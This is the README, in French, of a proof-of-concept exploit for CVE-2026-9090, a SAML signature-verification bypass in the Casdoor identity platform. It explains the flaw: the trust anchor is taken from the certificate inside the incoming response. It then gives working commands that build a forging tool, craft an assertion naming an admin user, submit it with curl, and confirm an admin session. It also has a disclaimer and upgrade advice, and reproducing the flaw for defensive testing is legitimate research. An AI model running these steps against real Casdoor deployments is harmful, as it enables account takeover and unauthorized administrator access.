
PoC pour CVE-2026-9090 — Contournement de la signature SAML de Casdoor (CWE-347). Reproduction uniquement ; coordonné via CERT/CC VU#780781.
Preuve de concept pour CVE-2026-9090 (CWE-347, Vérification incorrecte de la signature cryptographique), un contournement de l'authentification dans la plateforme d'identité Casdoor.
Attribution. CVE-2026-9090 a été publiée et coordonnée par CERT/CC — voir VU#780781. Ce dépôt est une preuve de concept indépendante, destinée uniquement à la reproduction de la vulnérabilité déjà publique ; il ne revendique pas la découverte du problème.
Lorsque Casdoor consomme une réponse SAML sur POST /api/acs (connexion via un fournisseur SAML externe), la
fonction buildSpCertificateStore construit l'ancre de confiance de la signature à partir du <X509Certificate>
intégré dans la réponse SAML entrante elle-même, au lieu du certificat enregistré pour le fournisseur d'identité.
// object/saml_sp.go (vulnerable, <= v2.362.0)
func buildSpCertificateStore(provider *Provider, samlResponse string) (certStore ..., err error) {
certEncodedData := ""
if samlResponse != "" {
certEncodedData, err = getCertificateFromSamlResponse(samlResponse, provider.Type) // <-- cert from the response
} else if provider.IdP != "" {
certEncodedData = provider.IdP
}
...
certStore = dsig.MemoryX509CertificateStore{ Roots: []*x509.Certificate{idpCert} }
}
Parce que l'ancre de confiance est tirée de la réponse, un attaquant peut signer une assertion SAML avec son
propre certificat auto-signé, joindre ce certificat à la réponse, et la signature est validée contre elle-même.
En définissant le NameID sur un utilisateur existant, l'assertion est résolue vers ce compte — s'il s'agit d'un
administrateur, l'attaquant obtient une session administrateur. Aucun mot de passe n'est impliqué.
<= 2.362.0provider.IdP enregistré
(buildSpCertificateStore(provider *Provider) ne lit plus la réponse). Mettez à niveau vers une version actuelle.forge_saml.go construit une réponse SAML complète dont l'assertion est signée par une clé auto-signée jetable,
avec le certificat de cette clé intégré dans <ds:KeyInfo><ds:X509Certificate>. Il utilise la même
bibliothèque goxmldsig que Casdoor, de sorte que la canonicalisation et le format de signature sont acceptés tels quels.
go mod init cve-2026-9090-poc # or: go build directly in this repo
go get github.com/beevik/etree github.com/russellhaering/goxmldsig
go build -o forge_saml forge_saml.go
# 1) forge a response for an existing (admin) NameID, aimed at the target's ACS URL
./forge_saml \
--nameid [email protected] \
--acs http://TARGET:8000/api/acs \
--audience http://TARGET:8000/api/acs \
> forged.b64
# 2) submit it. NOTE: Casdoor url-unescapes SAMLResponse before base64-decoding, so the value MUST be
# url-encoded (a raw '+' would be turned into a space -> "illegal base64 data").
ENC=$(python3 -c 'import urllib.parse;print(urllib.parse.quote(open("forged.b64").read().strip()))')
curl -s -c cookie.txt \
"http://TARGET:8000/api/login?application=APP&organization=ORG&provider=SAML_PROVIDER&method=signup" \
-H 'Content-Type: application/json' \
-d "{\"application\":\"APP\",\"organization\":\"ORG\",\"provider\":\"SAML_PROVIDER\",\"method\":\"signup\",\"type\":\"login\",\"samlResponse\":\"$ENC\"}"
# -> {"status":"ok","data":"ORG/admin"}
# 3) confirm the session
curl -s -b cookie.txt http://TARGET:8000/api/get-account | jq '.data | {name,isAdmin,owner}'
APP, ORG et SAML_PROVIDER correspondent au nom de l'application, à l'organisation et au fournisseur SAML lié à
cette application. L'enregistrement d'une application Casdoor (y compris ses fournisseurs liés) est consultable à
l'adresse /api/get-application?id=admin/<name>.
Ce PoC est publié pour une vulnérabilité corrigée et publiquement divulguée, à des fins de tests défensifs,
d'ingénierie de détection et de recherche. Ne l'exécutez que contre des systèmes que vous êtes autorisé à tester.
La remédiation correcte consiste à mettre à niveau Casdoor vers une version où buildSpCertificateStore valide par
rapport au certificat du fournisseur enregistré.
MIT — voir LICENSE.